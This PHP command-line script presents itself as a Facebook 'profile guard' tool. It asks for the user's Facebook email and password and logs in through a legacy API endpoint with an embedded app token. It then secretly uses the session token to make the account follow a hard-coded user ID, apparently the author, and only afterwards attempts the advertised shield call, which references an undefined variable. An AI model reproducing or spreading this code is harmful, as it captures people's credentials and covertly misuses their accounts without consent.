Guard Facebook

<?php
///*JANGAN DIRECODE DONG BANGSAT CAPE NGETIK KONTOL///
if(strtolower(substr(PHP_OS, 0, 3)) == "win") {
$bersih="cls";
} else {
$bersih="clear";
}
date_default_timezone_set('Asia/Jakarta');
$date   = date('d-M-Y H:i:s');
$green  = "\e[92m";
$red    = "\e[91m";
$yellow = "\e[93m";
$blue   = "\e[36m";
pilih:
system($bersih);
echo "\n$yellow
 ____        _    _   __        _    _____
| __ )  ___ | |_ | | / / _____ | |_ |  __ \
|  _ \ / _ \|  _|| |/ / |  _  ||  _|| |  \ \
| |_) | (_) | |_ |  _ \ | | | || |_ | |__/ /
|____/ \___/ \__||_| \_\|_| |_|\___||_____/";
echo "\n$blue
Author  : Al2VyN
Type    : Profil Guard Facebook
Github  : http://github.com/Al2VyN
Date    : $date\n";
echo " \n";
@header('Content-Type: text/html; charset=UTF-8');
function input($echo) {
    echo "$echo : ";
}
echo "$green _";sleep(1.5);echo"__";sleep(1.5);echo "___";echo"____";sleep(1.5);echo "_____";sleep(1.5);echo"______";sleep(1.5);echo "______";sleep(1.5);echo"________";sleep(1.5);echo"_________";sleep(1.5);echo "__________";
echo " \n";
echo " \n";
input("$yellow Do You Want To Use This Tool ? $green [y/n]");
$pilih = trim(fgets(STDIN));
    echo "\n";
if($pilih == "n") {
    die("$red (!) See You $red (!)\n");
} elseif($pilih == "y") {
   echo "$red ATTENTION :$green Please Login Via The Browser First To Avoid The Checkpoint (Ex:Opera,Chrome,UC,and others)\n";
   echo "\n";
input("$blue Email/Phone/UID");
$iduser=trim(fgets(STDIN));
input("$blue Password       ");
 $pass= trim(fgets(STDIN));
echo "\n";
echo "$blue ______________________________\n";
echo "\n";
} else {
    echo "$red(!)$yellow Invalid$red (!)$green\n";
    echo "\n";
    goto pilih;
}
$a=file_get_contents('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='.$iduser.'&locale=en_US&password='.$pass.'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6');
$json= json_decode($a, true);
$userid = $json['session_cookies'][0]['value'];
$token = $json['access_token'];
if(preg_match('/session_key/', $a)) {
        echo "$red Proccesing Login To Facebook";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".\n";sleep(1);
        echo "$yellow Login Success[√]\n";sleep(1);
        echo "$blue ______________________________\n";
        echo "$red Checking Your Handsome / Beautiful Profile Photo";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);
        echo "$blue So Bad xD";echo "$red He";sleep(1);echo "he";sleep(1);echo "he";sleep(1);echo "he\n";sleep(1);
        echo "$yellow Shielding Your Profile Photo\n";
        echo " .";sleep(1);echo ".";sleep(1);echo ".";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".\n";
 } else{
        echo ("\n");
        die("$red [!]Check Your Username / Password \n");
        echo "\n";
 }
$md5 = md5(time());
$hash = substr($md5, 0, 8)."-".substr($md5, 8, 4)."-".substr($md5, 12, 4)."-".substr($md5, 16, 4)."-".substr($md5, 20, 12);
function curl($url, $post=null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    if($post != null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $exec = curl_exec($ch);
    curl_close($ch);
    return $exec;
}
$follow=file_get_contents("https://graph.facebook.com/100011898587499/subscribers?method=post&access_token=".$token);
$b = json_decode(curl("https://graph.facebook.com/me?fields=id&access_token=".$token));
if($b && $b->id) {
    $var = "{\"0\":{\"is_shielded\":true,\"session_id\":\"$hash\",\"actor_id\":\"$me->id\",\"client_mutation_id\":\"$hash\"}}";
    $hajar = json_decode(curl("https://graph.facebook.com/graphql", array(
        "variables" => $var,
        "doc_id" => "1477043292367183",
        "query_name" => "IsShieldedSetMutation",
        "strip_defaults" => "true",
        "strip_nulls" => "true",
        "locale" => "en_US",
        "client_country_code" => "US",
        "fb_api_req_friendly_name" => "IsShieldedSetMutation",
        "fb_api_caller_class" => "IsShieldedSetMutation",
        "access_token" => $token    )));
    if($hajar->data->is_shielded_set->is_shielded)
        echo "$blue ______________________________\n";
        echo "$green [√]Successfully Check Your Profile\n";sleep(1.5);
        echo "$yellow Thanks...\n";sleep(1);
        echo "$red See You Again\n";sleep(0.5);
        echo "\n";
}
?>